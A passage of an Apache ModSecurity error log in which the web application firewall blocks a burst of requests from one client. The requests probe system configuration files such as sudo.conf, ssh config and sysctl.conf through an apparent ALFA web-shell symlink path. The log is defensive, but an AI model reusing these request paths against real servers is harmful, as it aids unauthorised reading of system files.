"at5Klwl_YuTmdn3pCPOXYQAAAAk"]
[Sun Oct 25 14:29:43.731326 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65432] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/semanage.conf"] [unique_id "at5Klwl_YuTmdn3pCPOXYQAAAAk"]
[Sun Oct 25 14:29:43.731605 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65432] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/semanage.conf"] [unique_id "at5Klwl_YuTmdn3pCPOXYQAAAAk"]
[Sun Oct 25 14:29:43.733057 2026] [security2:error] [pid 2880770:tid 2880770] [client 76.135.135.39:65430] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/targeted/setrans.conf"] [unique_id "at5Kl3D29ZT8miQhzG7EXAAAABM"]
[Sun Oct 25 14:29:43.733292 2026] [security2:error] [pid 2880770:tid 2880770] [client 76.135.135.39:65430] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/targeted/setrans.conf"] [unique_id "at5Kl3D29ZT8miQhzG7EXAAAABM"]
[Sun Oct 25 14:29:43.733589 2026] [security2:error] [pid 2880770:tid 2880770] [client 76.135.135.39:65430] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/targeted/setrans.conf"] [unique_id "at5Kl3D29ZT8miQhzG7EXAAAABM"]
[Sun Oct 25 14:29:43.808202 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:65436] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/smartmontools/smartd.conf"] [unique_id "at5Kl-KLKrCYLMnXfck7iAAAAAg"]
[Sun Oct 25 14:29:43.808506 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:65436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/smartmontools/smartd.conf"] [unique_id "at5Kl-KLKrCYLMnXfck7iAAAAAg"]
[Sun Oct 25 14:29:43.808805 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:65436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/smartmontools/smartd.conf"] [unique_id "at5Kl-KLKrCYLMnXfck7iAAAAAg"]
[Sun Oct 25 14:29:43.829910 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65441] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "at5Kl0YY36dVli09oOhVdAAAAAw"]
[Sun Oct 25 14:29:43.830283 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65441] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "at5Kl0YY36dVli09oOhVdAAAAAw"]
[Sun Oct 25 14:29:43.830599 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65441] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_config.d/05-redhat.conf"] [unique_id "at5Kl0YY36dVli09oOhVdAAAAAw"]
[Sun Oct 25 14:29:43.860948 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65447] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "at5Kl5KSFHHoiviJa5dqngAAAAo"]
[Sun Oct 25 14:29:43.910710 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65447] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "at5Kl5KSFHHoiviJa5dqngAAAAo"]
[Sun Oct 25 14:29:43.863840 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65443] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PRQAAAA8"]
[Sun Oct 25 14:29:43.943188 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65443] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PRQAAAA8"]
[Sun Oct 25 14:29:43.943565 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65443] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PRQAAAA8"]
[Sun Oct 25 14:29:43.884887 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65437] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at5Kl3NQSJj6g_R4pvfwcAAAABI"]
[Sun Oct 25 14:29:43.954285 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65437] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at5Kl3NQSJj6g_R4pvfwcAAAABI"]
[Sun Oct 25 14:29:43.954619 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65437] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at5Kl3NQSJj6g_R4pvfwcAAAABI"]
[Sun Oct 25 14:29:43.874484 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:65445] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at5Kl8O5MiLAYQWXs3NDNwAAAAc"]
[Sun Oct 25 14:29:43.955271 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:65445] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at5Kl8O5MiLAYQWXs3NDNwAAAAc"]
[Sun Oct 25 14:29:43.955543 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:65445] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at5Kl8O5MiLAYQWXs3NDNwAAAAc"]
[Sun Oct 25 14:29:44.008583 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:65464] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tuned/tuned-main.conf"] [unique_id "at5KmBH5LAgtrvBIlo326gAAABU"]
[Sun Oct 25 14:29:43.906491 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65448] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at5KlyEQblycZeXKbm74pgAAAAU"]
[Sun Oct 25 14:29:44.044676 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at5KlyEQblycZeXKbm74pgAAAAU"]
[Sun Oct 25 14:29:44.045013 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "at5KlyEQblycZeXKbm74pgAAAAU"]
[Sun Oct 25 14:29:43.912262 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:65450] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "at5Kl76D6j04LiS6yScWSQAAAAI"]
[Sun Oct 25 14:29:44.050074 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:65450] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "at5Kl76D6j04LiS6yScWSQAAAAI"]
[Sun Oct 25 14:29:44.050332 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:65450] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "at5Kl76D6j04LiS6yScWSQAAAAI"]
[Sun Oct 25 14:29:43.914123 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:65470] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at5Kl2T7SK5esjpOWSjqwwAAABY"]
[Sun Oct 25 14:29:44.058960 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:65470] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at5Kl2T7SK5esjpOWSjqwwAAABY"]
[Sun Oct 25 14:29:43.942712 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65447] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "at5Kl5KSFHHoiviJa5dqngAAAAo"]
